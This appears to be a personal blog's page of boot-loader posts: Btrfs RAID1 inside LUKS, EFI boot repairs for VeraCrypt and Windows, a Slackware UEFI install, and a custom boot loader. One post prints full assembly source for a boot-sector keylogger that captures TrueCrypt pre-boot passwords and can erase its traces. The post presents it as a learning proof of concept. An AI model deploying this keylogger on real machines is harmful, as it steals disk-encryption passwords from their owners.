Home Page
Archive > Posts > Tags > Boot Loader
Search:

Btrfs RAID1 inside LUKS encrypted volumes

I recently moved to Linux and have all my hard drives Luks encrypted, including the primary. I decided to convert my ext4 partitions to Btrfs recently, which I’m totally loving. I also decided to grab another nvme drive and use it as a RAID1 (mirror) drive against my primary drive, using Btrfs’ RAID mechanics. Below are the instructions to accomplish this.

Do note that this is for a situation where you already have a BTRFS volume and want to add a device as RAID1. This assumes you already have your system booting to the LUKS encrypted drive with the root being btrfs. Many modern Linux OS installers can do this for you automatically. Parts of these instructions can still be used in other situations.


  • Hopefully you also have a swap partition under the same LVM as your LUKS root (the Linux Mint installer does this by default), as we’ll be using it. If not, you’ll need to modify the instructions. This script resizes the swap partition and adds an “extra” partition to hold your drive key. This is required because a drive key cannot be loaded off your btrfs volume as both drives need to be unlocked first.
  • This should be ran from another operating system. I would recommend using Universal USB Installer to do this. It allows you to put multiple OS live cds on a USB key, including optional persistence.
  • Run the following script as root (you can use sudo). Make sure to fill in the variables section first. Or even better, run the script 1 line at a time to make sure there are no problems.

#!/bin/bash
#-----------------------------------Variables----------------------------------
#Current root drive
CurPart="nvme0n1p3" #The current drive partition in /dev. This example uses nvme disk #0 partition #3
CurCryptVol="vgmint" #What you named your LVM under LUKS
CurCryptRoot="root" #What you named your root partition under the LVM
CurCryptRootSubVol="/" #The path of the subvolume that is used as the root partition. For example, I use “@”
CurCryptSwap="swap_1" #What you named your swap partition under the LVM
CurCryptExtra="extra" #What you WANT to name your extra partition under the LVM
CurCryptExtraSize="100M" #How big you want your extra partition that will hold your key file
CurKeyPath="" #The path to a key file that will unlock both drives. If left blank then one will be created

#New drive
NewDrive="nvme1n1" #The new drive in /dev. This example uses nvme disk #1
NewPart="nvme1n1p3" #The new partition in /dev. You will be creating this with the cfdisk. This example uses nvme disk#1 partition#3
NewCryptName="raid1_crypt" #What we’ll name the root LUKS partition (no LVM)

#Other variables you do not need to set
CurMount="/mnt/primary"
ExtraMountPath="$CurMount/mnt/extra"
BtrfsReleasePath="kdave/btrfs-progs"
BtrfsReleaseFile="btrfs.box.static"
DriveKeyName="drivekey"

echo "---------------------------------Update BTRFS---------------------------------"
echo "Make sure you are using the latest btrfs-progs"
cd "$(dirname "$(which btrfs)")"
LATEST_RELEASE=$(curl -s "https://api.github.com/repos/$BtrfsReleasePath/releases/latest" | grep tag_name | cut -d \" -f4)
wget "https://github.com/$BtrfsReleasePath/releases/download/$LATEST_RELEASE/$BtrfsReleaseFile"
chmod +x "$BtrfsReleaseFile"

echo "Link all btrfs programs to btrfs.box.static. Rename old files as .old.FILENAME"
if ! [ -L ./btrfs ]; then
  for v in $(\ls btrfs*); do
    if [ "$v" != "$BtrfsReleaseFile" ]; then
      mv "$v" ".old.$v"
      ln -s "$BtrfsReleaseFile" "$v"
    fi
  done
fi

echo "--------------------------Current drive and key setup-------------------------"
echo "Mount the current root partition"
cryptsetup luksOpen "/dev/$CurPart" "$CurCryptVol"
vgchange -ay "$CurCryptVol"
mkdir -p "$CurMount"
mount -o "subvol=$CurCryptRootSubVol" "/dev/$CurCryptVol/$CurCryptRoot" "$CurMount"

echo "If the extra volume has not been created, then resize the swap and create it"
if ! [ -e "/dev/$CurCryptVol/$CurCryptExtra" ]; then
  lvremove -y "/dev/$CurCryptVol/$CurCryptSwap"

  lvcreate -n "$CurCryptExtra" -L "$CurCryptExtraSize" "$CurCryptVol"
  mkfs.ext4 "/dev/$CurCryptVol/$CurCryptExtra"

  lvcreate -n "$CurCryptSwap" -l 100%FREE "$CurCryptVol"
  mkswap "/dev/$CurCryptVol/$CurCryptSwap"
fi

echo "Make sure the key file exists, if it does not, either copy it (if given in $CurKeyPath) or create it"
mkdir -p "$ExtraMountPath"
mount "/dev/$CurCryptVol/$CurCryptExtra" "$ExtraMountPath"
if ! [ -e "$ExtraMountPath/$DriveKeyName" ]; then
  if [ "$CurKeyPath" != "" ]; then
    if ! [ -e "$CurKeyPath" ]; then
      echo "Not found: $CurKeyPath"
      exit 1
    fi
    cp "$CurKeyPath" "$ExtraMountPath/$DriveKeyName"
  else
    openssl rand -out "$ExtraMountPath/$DriveKeyName" 512
  fi
  chmod 400 "$ExtraMountPath/$DriveKeyName"
  chown root:root "$ExtraMountPath/$DriveKeyName"
fi

echo "Make sure the key file works on the current drive"
if cryptsetup --test-passphrase luksOpen --key-file "$ExtraMountPath/$DriveKeyName" "/dev/$CurPart" test; then
  echo "Keyfile successfully opened the LUKS partition."
  #cryptsetup luksClose test #This doesn’t seem to be needed
else
  echo "Adding keyfile to the LUKS partition"
  cryptsetup luksAddKey "/dev/$CurPart" "$ExtraMountPath/$DriveKeyName"
fi

echo "--------------------------------New drive setup-------------------------------"
echo "Use cfdisk to set the new disk as GPT and add partitions."
echo "Make sure to mark the partition you want to use for the raid disk as type “Linux Filesystem”."
echo "Also make it the same size as /dev/$CurPart to avoid errors"
cfdisk "/dev/$NewDrive"

echo "Encrypt the new partition"
cryptsetup luksFormat "/dev/$NewPart"

echo "Open the encrypted partition"
cryptsetup luksOpen "/dev/$NewPart" "$NewCryptName"

echo "Add the key to the partition"
cryptsetup luksAddKey "/dev/$NewPart" "$ExtraMountPath/$DriveKeyName"

echo "Add the new partition to the root btrfs file system"
btrfs device add "/dev/mapper/$NewCryptName" "$CurMount"

echo "Convert to RAID1"
btrfs balance start -dconvert=raid1 -mconvert=raid1 "$CurMount"

echo "Confirm both disks are in use"
btrfs filesystem usage "$CurMount"

echo "--------------------Booting script to load encrypted drives-------------------"
echo "Get the UUID of the second btrfs volume"
Drive2_UUID=$(lsblk -o UUID -d "/dev/$NewPart" | tail -n1)

echo "Create a script to open your second luks volumes before mounting the partition"
echo "Note: In some scenarios this may need to go into “scripts/local-premount” instead of “scripts/local-bottom”"
cat <<EOF > "$CurMount/etc/initramfs-tools/scripts/local-bottom/unlock_drive2"
#!/bin/sh
PREREQ=""

prereqs()
{
    echo "\$PREREQ"
}

case "\$1" in
    prereqs)
        prereqs
        exit 0
        ;;
esac

. /scripts/functions
cryptroot-unlock
vgchange -ay "$CurCryptVol"
mkdir -p /mnt/keyfile
mount "/dev/$CurCryptVol/$CurCryptExtra" /mnt/keyfile
cryptsetup luksOpen /dev/disk/by-uuid/$Drive2_UUID "$NewCryptName" "--key-file=/mnt/keyfile/$DriveKeyName"
umount /mnt/keyfile
rmdir /mnt/keyfile

mount -t btrfs -o "subvol=$CurCryptRootSubVol" "/dev/$CurCryptVol/$CurCryptRoot" /root

#If you are weird like me and /usr is stored elsewhere, here is where you would need to mount it.
#It cannot be done through your fstab in this setup.
#mount --bind /root/sub/sys/usr /root/usr

mount --bind /dev /root/dev
mount --bind /proc /root/proc
mount --bind /sys /root/sys
EOF

chmod 755 "$CurMount/etc/initramfs-tools/scripts/local-bottom/unlock_drive2"

echo "--------------------Setup booting from the root file system-------------------"
echo "Prepare a chroot environment"
for i in dev dev/pts proc sys run tmp; do
  mount -o bind /$i "$CurMount/$i"
done

echo "Run commands in the chroot environment to update initramfs and grub"
chroot "$CurMount" <<EOF
echo "Mount the other partitions (specifically for “boot” and “boot/efi”)"
mount -a

echo "Update initramfs and grub"
update-initramfs -u -k all
update-grub
EOF

echo "-----------------------------------Finish up----------------------------------"
echo "Reboot and pray"
reboot

Fixing VeraCrypt EFI Boot

I recently decided to swap around my hard drives to different SATA slots so my most used hard drives were on the fastest ports. Unfortunately, when I did this, my computer stopped booting to Windows. I never did figure out why my bootable EFI partitions only showed up randomly in BIOS depending on which hard drives were plugged in, but I found a configuration the computer liked and I was able to see the Microsoft Boot EFI partition and EFI boots on my USB keys.


The next step was to get the computer actually booting to something I could run commands on. When I try to boot directly to the EFI shell, the resolution is always screwed up and I can only see the top half of what should be visible, so I can’t actually see the command line I am typing too. This actually happens to everything I directly boot to that uses console text. The way around this for me is that I need to boot to the BIOS setup, and from there tell it to boot immediately to the EFI option of my choice when exiting the BIOS. From there, the proper resolution is used and everything is visible.


Next, in the EFI shell, you can run map to see all of the available possible mounts. This should automatically run when the EFI shell starts anyways, so you should already have that information. Any detected EFI partition on any bootable device should be given a mapping of “fs#” where # is a number. In my case, it was fs0. So to mount that, I ran mount fs0 x. “x” could be whatever you want, it doesn’t really matter. It’s analogous to a drive letter in windows, and you can make it any string (within reason, I believe anything alphanumeric should be fine). So next you would run x: to switch to that drive. From there, you can run cd EFI\Microsoft\Boot and then bootmgfw.efi to boot to windows.


Since I use VeraCrypt system encryption, I had to go to “EFI\VeraCrypt” and run DcsBoot.efi to finally boot into Windows through VeraCrypt.


Finally, to get the Windows Boot manager to start with VeraCrypt, run in the Windows command prompt bcdedit /set '{bootmgr}' path \EFI\VeraCrypt\DcsBoot.efi.

Slackware 64 Linux Install on UEFI

I recently tried to install Slackware 4.2 64-bit (Linux) onto a new mini PC I just bought. The new PC only supports UEFI so I had major issues getting the darn setup on the install cd to actually run. I never DID actually get the install cd to boot properly on the system, so I used an alternative. While the slack install usb key was in, I also added and loaded up an ubuntu live cd usb key. The following is what I used to run the slackware setup in Ubuntu.

#Login as root
#sudo su

#Settings
InstallDVDName=SlackDVD #This is whatever you named your slackware usb key

#/mnt will contain the new file system for running the setup
cd /mnt

#Extract the initrd.img from the slackware dvd into /mnt
cat /media/ubuntu/$InstallDVDName/isolinux/initrd.img | gzip -d | cpio -i

#Bind special linux directories into the /mnt folder
for i in proc sys dev tmp; do mount -o bind /$i ./$i; done

#Mount the cdrom folder into /mnt/cdrom
rm cdrom
mount -o bind /media/ubuntu/$InstallDVDName/ ./cdrom

#Set /mnt as our actaul (ch)root
chroot .

#Run the slackware setup
usr/lib/setup/setup

#NOTE: When installing, your package source directory is at /cdrom/slackware64
Auto Locking Windows on Login

On my primary computer (whose harddrive is encrypted) I always have Windows auto logging in to help with the bootup time. However, my bootup time can be rather slow; and if I needed to have my computer booted but locked, I had to wait for the login to complete so I could lock the computer. This has been becoming a nuisance lately when I need to get out of my house quickly in the morning.

For the solution I created a windows boot entry that auto locks the computer after logging the user in. This also requires a batch file, to run for the user on startup, to detect when this boot entry was selected. Here are the steps to create this setup:


  1. Create the new boot entry: In the windows command line, run: bcdedit /copy {current} /d "Lock on Startup"
    This creates a new boot option, duplicated from your currently selected boot option, in the boot menu labeled “Lock on Startup”.
  2. (Optional) Change the bootup timeout: In the windows command line, run: bcdedit /timeout 5
    Where 5 is a 5 second timeout.
  3. Create a batch file to run on login: In your start menu’s startup folder, add a batch file. You can name it anything as long as the extension is “.bat”.
    Add the following to the file: bcdedit /enum {current} | findstr /r /c:"description *Lock on Startup" && rundll32.exe user32.dll,LockWorkStation
    Note that there are 2 spaces in the description search string to replicate the regular expression's 1 or more quantifier “+”, since findstr only supports the 0 or more quantifier “*”.
Booting Windows from a GPT drive with EFI

It took me days to get a Windows 7 install back up when I lost a drive with the MBR record that booted to my GPT drive. The windows booting and install processes are just REALLY finicky and temperamental. One of my largest problems was that I couldn’t find certain required files online, so the only way to acquire them was to unhook all but 1 GPT partitioned drive from the computer and install Windows to it.

Here are the files needed to boot Windows 7 x64 from a GPT drive, assuming your mother board supports EFI. The first step is creating a system partition anywhere on the drive (you may have to shrink another partition) and extract these files to that partition. This blog post has good instructions on the entire process, however, instead of using bcdboot, I recommend using “bootrec /ScanOS” followed by “bootrec /RebuildBCD”. You MAY also need a “bootrec /FixMBR”.

These files were obtained from a Windows 7 x64 Ultimate install, so it should work if your install type matches. I expect it will work for any Windows version of an x64 install.


Here is a list of the files:
EFI
├── Boot
│   └── bootx64.efi
└── Microsoft
    └── Boot
        ├── bootmgfw.efi
        ├── bootmgr.efi
        ├── BOOTSTAT.DAT
        ├── cs-CZ
        │   ├── bootmgfw.efi.mui
        │   └── bootmgr.efi.mui
        ├── da-DK
        │   ├── bootmgfw.efi.mui
        │   └── bootmgr.efi.mui
        ├── de-DE
        │   ├── bootmgfw.efi.mui
        │   └── bootmgr.efi.mui
        ├── el-GR
        │   ├── bootmgfw.efi.mui
        │   └── bootmgr.efi.mui
        ├── en-US
        │   ├── bootmgfw.efi.mui
        │   ├── bootmgr.efi.mui
        │   └── memtest.efi.mui
        ├── es-ES
        │   ├── bootmgfw.efi.mui
        │   └── bootmgr.efi.mui
        ├── fi-FI
        │   ├── bootmgfw.efi.mui
        │   └── bootmgr.efi.mui
        ├── Fonts
        │   ├── chs_boot.ttf
        │   ├── cht_boot.ttf
        │   ├── jpn_boot.ttf
        │   ├── kor_boot.ttf
        │   └── wgl4_boot.ttf
        ├── fr-FR
        │   ├── bootmgfw.efi.mui
        │   └── bootmgr.efi.mui
        ├── hu-HU
        │   ├── bootmgfw.efi.mui
        │   └── bootmgr.efi.mui
        ├── it-IT
        │   ├── bootmgfw.efi.mui
        │   └── bootmgr.efi.mui
        ├── ja-JP
        │   ├── bootmgfw.efi.mui
        │   └── bootmgr.efi.mui
        ├── ko-KR
        │   ├── bootmgfw.efi.mui
        │   └── bootmgr.efi.mui
        ├── memtest.efi
        ├── nb-NO
        │   ├── bootmgfw.efi.mui
        │   └── bootmgr.efi.mui
        ├── nl-NL
        │   ├── bootmgfw.efi.mui
        │   └── bootmgr.efi.mui
        ├── pl-PL
        │   ├── bootmgfw.efi.mui
        │   └── bootmgr.efi.mui
        ├── pt-BR
        │   ├── bootmgfw.efi.mui
        │   └── bootmgr.efi.mui
        ├── pt-PT
        │   ├── bootmgfw.efi.mui
        │   └── bootmgr.efi.mui
        ├── ru-RU
        │   ├── bootmgfw.efi.mui
        │   └── bootmgr.efi.mui
        ├── sv-SE
        │   ├── bootmgfw.efi.mui
        │   └── bootmgr.efi.mui
        ├── tr-TR
        │   ├── bootmgfw.efi.mui
        │   └── bootmgr.efi.mui
        ├── zh-CN
        │   ├── bootmgfw.efi.mui
        │   └── bootmgr.efi.mui
        ├── zh-HK
        │   ├── bootmgfw.efi.mui
        │   └── bootmgr.efi.mui
        └── zh-TW
            ├── bootmgfw.efi.mui
            └── bootmgr.efi.mui

27 directories, 57 files

“EFI\Microsoft\Boot\BCD” is not included because it is computer dependent and is created with the bootrec command.
“EFI\Microsoft\Boot\BCD.LOG*” are not included for obvious reasons.
BIOS Level Key Logger
More Boot Loader Fun

So I decided to play around more with boot loaders for a bit of fun and learning. I couldn’t come up with a good project to do, so I defaulted on writing a proof of concept for a TrueCrypt pre-boot authenticated volume key logger (again, see my last Boot Loaders post for more information).

Unfortunately, the key logger stops working once XP boots, and I’m not completely sure why yet. [reason]I think it has to do something with Windows using an Interrupt Descriptor Table instead of the Interrupt Vector Table, or overwriting the Interrupt Vector Table entry without calling the previous value. I may try and get it working for Windows (or any operating system) later, but I accomplished what I wanted to with this, so am not going to worry about it for now.

This is also just a proof of concept, so it isn’t full proof. It only records the first 512 keystrokes before Windows loads, and it also might not be easy to install without some knowledge of how it works.


I am providing an example installer in Perl which writes to a VMWare hard drive. It can easily be modify though to install to a real hard drive using either a boot loader, or when running Windows through CreateFile with the hard drive (requires administrative privileges).

Installing works as follows:
  • Copies the original boot loader sector (#0 of a hard drive) to an unused sector (In this case, #61 of the hard drive, which is the last unused sector by Truecrypt [Sector 62 contains the encryption key, and sector 63 is the first partition table] ).
  • Installs the compiled code to the boot loader sector.

Once installed, the key logger (v1.0 source) [v1.0 compiled binary] boot loader works as follows:
  • When the computer boots to the medium (hard drive, flash drive, CD, etc) with the installed code, it immediately runs the key logger installer.
  • It first copies itself from the boot loader location in memory (0x7C00) to a new location, and the original boot loader is loaded into the boot memory location to be run later, unaware that it wasn’t the first thing to load.
  • If requested (this is an option set by a variable), the key logger installer removes itself from the hard drive, erasing evidence of it ever being there. This means the key logger will only run from memory after the first time the machine is booted. This is not turned on by default.
  • It then installs a BIOS interrupt hook on the keyboard interrupt (0x9) to call the key logger.
  • The final step is to execute the original boot loader which is now at the boot loader location in memory.

The key logger works as follows:
  • When a key is pressed, the key logger code is called.
  • It first calls the original interrupt 0x9 keyboard handling code.
  • It then gets the last pressed key(s) from the bios keyboard buffer and saves them to the key logger save buffer (either as their ASCII character, or as their key code).
  • The save buffer is then written to a predefined location on the hard drive before the interrupt is returned as completed.
  • Currently, the key logger only records up to 512 keystrokes to a single hard drive sector.

The assembly code for the key logger is as follows:
;Copyright 2009 by Dakusan (http://www.castledragmire.com/Copyright)
;This is a boot loader keylogger (does not work once Windows XP loads)
;See http://www.castledragmire.com/Posts/BIOS_Level_Key_Logger for more information

ORG 0x7C00 ;Origin location

;Constants
Start:					;Where the program starts (0x7C00)
SectorSize equ 0x200		;Size of a sector (and the boot loader)

;User defined constants
	;Memory mappings
	NewStart equ Start+SectorSize				;Where the boot loader will be copied to in memory for execution
	WhereToRecord equ Start+SectorSize*2 	;Where to record key strokes in memory (the save buffer)

	;Hard drive mappings
	WriteSector equ 60				;The hard drive sector to write the last logged 512 keys too. Needs to be <63. This can be the same as "OriginalBootLoaderSector" if "EraseEvidence" is true
	OriginalBootLoaderSector equ 61	;The hard drive sector the original boot loader is written to
	EraseEvidence equ 0				;Boolean dictating whether to restore the original boot loader and clear out where it was copied

;More constants
CodeOffset equ NewStart-Start		;The code is actually offset this amount when copied to the new memory location

;Set up needed segment registers to point to 0
xor ax,ax
mov ds,ax
mov es,ax

;Copy this loaded boot loader to new location in memory and execute there
mov cx,SectorSize
mov si,Start
mov di,NewStart
rep movsb
db 0xe9								;Jump to...
dw CodeOffset						;...Location where code is moved to

;Copy the original boot loader from the hard drive back to the boot address in memory
mov ah,2							;Read instruction
mov dl,0x80							;Drive #0 (0x80-x)
mov al,1								;1 sector
xor dh,dh							;Head #0
xor ch,ch							;Track #0
mov cl,OriginalBootLoaderSector+1	;Sector to read from
mov bx,Start							;Memory location to write to
int 0x13								;BIOS drive function

;Zero out the save buffer
mov cx,SectorSize
mov di,WhereToRecord
xor al,al
rep stosb

;Erase this boot loader if requested by returning the hard drive's boot loader to its original state and clearing out its copy at OriginalBootLoaderSector
or al,EraseEvidence					;Check to see if user wants to erase the evidence (al=0 before this operation)
jz SkipEraseEvidence					;If false, do not do so
mov bx,Start							;The buffer to write (which is now the original boot loader)
mov cl,0+1							;Write to the first sector
call WriteToDrive						;Do the write to restore the original boot loader
mov bx,WhereToRecord				;The save buffer, which is zeroed out
mov cl,OriginalBootLoaderSector+1	;Write to where the original boot loader was stored
call WriteToDrive						;Do the write to erase the backup of the original boot loader
SkipEraseEvidence:

;Hook the keyboard interrupt
cli												;Disable interrupts
mov eax, [es:0x9*4]								;Grab the origial handler. Source=IDT::INT9. From Wikipedia: The IDT [Interrupt descriptor (Vector) table] "resides at a fixed location in memory from address 0x0000 to 0x03ff, and consists of 256 four-byte real mode pointers"
mov [es:OriginalInt9Handler+CodeOffset], eax		;And save it for later use
mov dword [es:0x9*4], Int9Hook+CodeOffset		;Install INT 9 filter
sti												;Enable interrupts

;An infinite test loop that will output typed characters to the screen, and never go to the original boot loader
;GetKeys:
;mov ah,0
;int 0x16
;mov ah,0xe ;Write ascii character to screen
;int 0x10
;cmp al,0xA
;jne GetKeys

;Execute the original boot loader
db 0xe9									;Jump to...
dw -CodeOffset-($-Start)-2				;...Original start, which now contains the original boot loader

;Keyboard hook
Int9Hook:
	pushf								;Since the original int handler will call iret, we need to push an extra layer of interrupt info on the stack
	DB 9Ah								;CALL FAR PROC SEGMENT:OFFSET
		OriginalInt9Handler dd 0			;The original Interrupt 9 handler (in segment:offset format [ror 16])

	;Save registers and zero out es
	pusha
	xor bx,bx
	mov es,bx

	;Get the character we are currently on in the save buffer, and if >512, do not record
	mov di,[es:CharacterOn+CodeOffset]	;di=The character we are currently on
	cmp di,512
	jge SkipInt9

	;Loop through the keyboard buffer
	mov esi,[es:0x41A]					;40:1A=Offset from 40:00 to keyboard buffer head, 40:1C=Offset from 40:00 to keyboard buffer tail
	add esi,0x04000400					;Beginning and end +=0x400, si=keyboard buffer head
	mov ecx,esi
	shr ecx,16							;cx=keyboard buffer tail
	mov bx,0x41E						;bx=The beginning of the keyboard buffer
	cmp si,cx							;Check if there are no characters to write (head==tail)
	je SkipInt9							;If there are no keys to write, jump to end
	WriteKey:							;Save a single keyboard character to our save buffer.
		;Save the character
		mov al,[es:si]					;Fetch the character, use es:si+1 to save the scancode instead
		mov [es:di+WhereToRecord],al	;Save the character
		;Update where we are in the save buffer and make sure we are not at the end (>512)
		inc di							;Update where we are in the buffer
		cmp di,512
		jge FinishedKeyboardBuffer

		;Move to the next character in the keyboard buffer and if we are not at the end, write the next character
		add si,2							;Move to the next character in the keyboard buffer
		cmp si,0x43E					;If we have exceeded the keyboad buffer length...
		cmovge si,bx						;...loop back to the beginning
		cmp si,cx						;If there are still more characters to write (head<tail)
		jl WriteKey						;Write the next character
	FinishedKeyboardBuffer:

	mov [es:CharacterOn+CodeOffset],di	;Update where we are in the save buffer

	;Write the updated keylogger to the harddrive
	mov cl,WriteSector+1					;Sector to write to
	mov bx,WhereToRecord
	call WriteToDrive

	;Clean up from the interrupt
	SkipInt9:
	popa
	iret

;Write to drive function. Parameters: es:bx=Buffer, cl:Sector to write
WriteToDrive:
mov ah,3			;Write instruction
mov dl,0x80			;Drive #0 (0x80-x)
mov al,1				;1 sector
xor dh,dh			;Head #0
xor ch,ch			;Track #0
int 0x13				;BIOS drive function
ret					;Return from function

;Variables
CharacterOn dw 0	;What character we are on in the character buffer

;Fill out up to 0x1BE, where the partition information starts, with 0s. This cleans up unused information
times 0x1BE-($-$$) db 0 ;Fill the rest with zeros
My New Boot Loader
Hijack it at the beginning

I have been a proponent and user of pre-boot authentication volume (hard drive) encryption for quite a while now, but there is one security hole in it that always bugged me. This is the fact that the boot loader (the code at the beginning [sector 0] of the hard drive that starts the computer [usually loads the operating system]) is unencrypted itself and can be tampered with. Even though the encrypted data is completely safe from reading without a password, the password itself could be hijacked from someone modifying the boot loader and having it record your password when you type it. This hack could also be made hard to detect because the original boot loader could be restored from the hijacked one after the damage is done.

I decided this was a moot point for a long time, until I saw it got slashdotted. This prompted me to finally change my security model slightly so I was no longer vulnerable to this problem. The appropriate method is to always use a known secure TrueCrypt rescue disk, which contains its own boot loader, to boot the hard drive. Unfortunately, CDs are a bit cumbersome to always keep around. The workaround for me was to use a bootable USB Flash Drive instead, as I keep it on my keychain which is always with me. Getting the TrueCrypt boot loader to work from the flash drive was not easy at all due to how bootable flash drives work (they take the hard drive #0 slot in BIOS, which Windows doesn’t like). It took some GRUB4DOS magic to get things going, but it all ended up working out :-).

I removed the TrueCrypt boot loader from my hard drive so I would not be tempted to use it, and would always use the flash drive. This left the boring message of “Error loading operating system” upon booting without the flash drive, which I just couldn’t stand, so I decided to have some fun writing my own “Operating System Not Found” boot loader :-).


Video Notes:
  • It’s a lot harder to spot the hidden text string from the video than from the actual thing x.x;
  • The boot loader was ran through a virtual machine (VMWare) so I could easily record it.

Here is the code for the boot loader (in assembly), and here is the compiled boot loader which can be placed in the boot sector of any bootable medium (Hard Drive, USB Flash, CD, etc).


Warning:

Do not attempt to replace the boot loader on your hard drive without knowing what you are doing, as this is a very dangerous operation that can make your computer unbootable. Always back up your boot loader before making modifications to it so you can easily restore it. Also, when writing a boot loader, do not overwrite bytes 0x1BE-0x1FD of your boot sector as they contain important partition information.



Useful Wikipedia references: INT 10 (BIOS interrupt call for video services), BIOS Color Attributes